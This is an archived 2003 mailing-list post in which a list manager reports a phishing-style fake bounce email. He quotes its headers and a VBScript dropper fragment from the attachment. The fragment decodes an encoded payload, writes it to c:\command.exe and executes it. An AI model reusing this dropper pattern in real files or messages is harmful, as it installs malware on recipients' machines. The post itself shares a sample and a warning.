Great Circle Associates List-Managers
(May 2003)
 

Indexed By Date: [Previous] [Next] Indexed By Thread: [Previous] [Next]

Subject: OUCH!!
From: "Brian Zaleski" <ZaleskiDC @ calchiro . com>
Date: Fri, 23 May 2003 19:34:31 -0700
To: <list-managers @ greatcircle . com>
Importance: Normal
In-reply-to: <Pine.LNX.4.51.0304030901120.30731@saruman.ccmr.cornell.edu>

I just got an email from:

Return-Path: <MAILER-DAEMON@yahoo.com>
Received: from 61.111.113.205 ([61.111.113.205])
	by jbod.calchiro.com (8.12.8/linuxconf) with SMTP id h4NNud2w005208
	for <ZaleskiDC@calchiro.com>; Fri, 23 May 2003 16:56:40 -0700
Message-ID: <2003058082.12022.qmail@mail.yahoo.com>
Date: Fri, 23 May 2003 19:00:45 -0700
From: "MAILER-DAEMON" <MAILER-DAEMON@yahoo.com>
Subject: Undelivered Mail Returned to Sender

There were errors processing you mail. Please, read detailed information in
the attachment

With an attachement called errors.zlb

With this little bit 'o code in it (and a lot more)

tmp = Split(malware, ",")
path = "c:\command.exe"
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
Set f = fso.CreateTextFile(path, ForWriting)
For i = 0 To UBound(tmp)
l = Len(tmp(i))
malware = Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r = Int("&H" & Mid(tmp(i), 3, l))
For j = 1 To r
f.Write Chr(malware)
Next
Else
f.Write Chr(malware)
End If
Next
f.Close
runscr=1
if runscr then shell.run(path)

Tuesday is NOT gonna be fun....

Brian



Follow-Ups:
  • Re: OUCH!!
    From: "Bernie Cosell" <bernie@fantasyfarm.com>
Indexed By Date Previous: Re: "If we came into posession of evidence..."
From: "Anne P. Mitchell, Esq." <amitchell@habeas.com>
Next: Re: OUCH!!
From: "Bernie Cosell" <bernie@fantasyfarm.com>
Indexed By Thread Previous: Re: So I got this 411 spam this morning...
From: Chuq Von Rospach <chuqui@plaidworks.com>
Next: Re: OUCH!!
From: "Bernie Cosell" <bernie@fantasyfarm.com>

Google
 
Search Internet Search www.greatcircle.com